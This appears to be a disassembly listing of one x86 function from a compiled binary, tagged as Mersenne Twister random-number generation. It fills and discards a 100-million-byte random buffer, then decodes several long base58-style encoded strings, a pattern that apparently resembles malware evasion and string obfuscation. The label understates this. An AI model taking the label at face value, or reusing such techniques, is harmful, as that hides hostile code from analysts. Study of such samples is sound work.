Function at 0x43f110
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xa68
mov eax, dword [0x517500]
xor eax, esp
mov dword [esp + 0xa64], eax
push esi
push edi
push 0x5f5e100
call fcn.00430aa1
mov edi, eax
add esp, 4
test edi, edi
je 0x43f5f8
push 0x5f5e100
push 0
push edi
call fcn.0042d500
add esp, 0xc
lea ecx, [esp + 0xa0]
call fcn.00405a90
mov edx, dword [esp + 0xa60]
xor esi, esi
cmp edx, 0x270
jne 0x43f183
lea ecx, [esp + 0xa0]
call fcn.00406370
mov edx, dword [esp + 0xa60]
mov ecx, dword [esp + edx*4 + 0xa0]
mov eax, ecx
shr eax, 0xb
inc edx
xor ecx, eax
mov dword [esp + 0xa60], edx
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
test al, 1
je 0x43f1c3
shl al, 5
jmp 0x43f1c8
shl al, 3
or al, 1
mov byte [esi + edi], al
inc esi
cmp esi, 0x5f5e100
jl 0x43f168
push edi
call fcn.00430673
add esp, 4
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov esi, 0x519088
mov dword [esp + 0x18], 0
nop word [eax + eax]
cmp dword [esi + 0x14], 0xf
mov ecx, esi
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
jbe 0x43f222
mov ecx, dword [esi]
lea edx, [esp + 0x28]
call fcn.0043f620
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
sub eax, ecx
push eax
push ecx
push dword [esp + 0x1c]
lea ecx, [esp + 0x1c]
call fcn.004060b0
mov edx, dword [esp + 0x28]
test edx, edx
je 0x43f292
mov ecx, dword [esp + 0x30]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x43f270
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push ecx
push edx
call fcn.0042c032
add esp, 8
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
add esi, 0x18
cmp esi, 0x51bcc8
jl 0x43f200
push str.FQuquN23VxnyMtdGgZscyMxhV84x8bQj1ekTeg3fTbYU
lea ecx, [esp + 0x8c]
call fcn.00405870
push str.BzzzUXbx2tNir3ahoe1mMe9PKCBztjhGo
lea ecx, [esp + 0x74]
call fcn.00405870
push str.3G68KsfBKJZ6VGMLGXc1iYR1LfNQsKnDPFFTJVs2uUqwpCe4kHTaipLvin3ZpSGv4rxcQNcT1SwE7mAhUGe2GTXX9JzNf5ZwJHu4Sx9x4Xow324PiYXixHhhm3nHtjUHhAX6RkwWvEFsvsb3vEpd7eRazj7fAEyzgKNj2L7uMK5R9jkVGrCWN9SMWs7u4CbvEo5i3L3FRTX8PnvKCT3ifhU9pQyKPm61LXd7gsA1iNN9H5wLw8xwuf4SvYmugsmThdiD3j1rJwydhR8XytNjkT3npZKJ6uoTsBjH8sxVmNh5xQkm2SixrcZEihRd5mFLAhq41YeX8SHjHPjtuYNGr1b6vb3Xse1vy9GpBQknGkGYjCZSyyz4fgsjTettnFkryaRPhR8gjK7QBthG8GXDptSS7E5Z9kpPFovbbp6Vgv36cvnnGtUSf4CqaVhTfWgQqqwbsguuKFS7MPdkvegjRghb5UT3yxy6BFfen4xv4UvNF7pobfuB4R5u18B6sB1ZZsLZo4PPkhRF6eiJDSiZERvjFi2DmpfWEgkwWWtNU9hKfkStn7w4kpf7W9xtHg2HwzFaPUUS9b4GnU4fckWVXtsBFqF9PuKCX26aEjFvZFezKRQL8vSv1rMV2azqbfj52nnFnBYi9JvoeQz4tJ7BhKzcuuuSpDNHLuGFKFNzi2SuxhfwVoDPRCJzmzz
lea ecx, [esp + 0x2c]
call fcn.00405870
sub esp, 0x18
lea eax, [esp + 0x88]
xorps xmm0, xmm0
mov ecx, esp
movaps xmmword [esp + 0x58], xmm0
movaps xmmword [esp + 0x68], xmm0
push eax
movq qword [esp + 0x7c], xmm0
call fcn.00405d60
sub esp, 0x18
lea eax, [esp + 0xb8]
mov ecx, esp
push eax
call fcn.00405d60
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.00405d60
lea ecx, [esp + 0x88]
call fcn.004138e0
mov eax, dword [esp + 0x14]
xor ecx, ecx
mov edx, dword [esp + 0x10]
sub eax, edx
je 0x43f343
nop
add byte [edx + ecx], 2
inc ecx
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
sub eax, edx
cmp ecx, eax
jb 0x43f330
sub esp, 0xc
mov dword [esp + 0x30], 0
mov esi, esp
xorps xmm0, xmm0
movq qword [esp + 0x28], xmm0
mov dword [esp + 0x18], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [esp + 0x20]
sub eax, dword [esp + 0x1c]
je 0x43f3af
cmp eax, 0x7fffffff
ja 0x43f611
push eax
mov ecx, esi
call fcn.00405eb0
mov edi, dword [esi]
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
sub esi, eax
push esi
push eax
push edi
call fcn.0042d660
mov ecx, dword [esp + 0x24]
lea eax, [esi + edi]
add esp, 0xc
mov dword [ecx + 4], eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x50]
call fcn.00413d30
lea edx, [esp + 0x40]
lea ecx, [esp + 0x1c]
call fcn.004059a0
mov edx, dword [esp + 0x1c]
mov esi, eax
test edx, edx
je 0x43f41a
mov ecx, dword [esp + 0x24]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x43f3f8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push ecx
push edx
call fcn.0042c032
add esp, 8
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov ecx, dword [esp + 0x5c]
test ecx, ecx
je 0x43f468
mov edx, dword [esp + 0x64]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x43f446
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push edx
push ecx
call fcn.0042c032
add esp, 8
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
mov ecx, dword [esp + 0x50]
test ecx, ecx
je 0x43f4b6
mov edx, dword [esp + 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x43f494
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push edx
push ecx
call fcn.0042c032
add esp, 8
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 0
mov edx, dword [esp + 0x40]
test edx, edx
je 0x43f507
mov ecx, dword [esp + 0x48]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x43f4e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push ecx
push edx
call fcn.0042c032
add esp, 8
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov ecx, dword [esp + 0x3c]
cmp ecx, 0xf
jbe 0x43f53d
mov edx, dword [esp + 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f533
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push ecx
push edx
call fcn.0042c032
add esp, 8
mov ecx, dword [esp + 0x84]
cmp ecx, 0xf
jbe 0x43f576
mov edx, dword [esp + 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f56c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push ecx
push edx
call fcn.0042c032
add esp, 8
mov ecx, dword [esp + 0x9c]
cmp ecx, 0xf
jbe 0x43f5ae
mov edx, dword [esp + 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f5a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push ecx
push edx
call fcn.0042c032
add esp, 8
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x43f5e0
mov edx, dword [esp + 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x43f5d6
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f616
push edx
push ecx
call fcn.0042c032
add esp, 8
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0xa64]
xor ecx, esp
call fcn.0042bc89
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [esp + 0xa6c]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, esp
call fcn.0042bc89
mov esp, ebp
pop ebp
ret 0x10
call fcn.00405e10
call fcn.00430a50
int3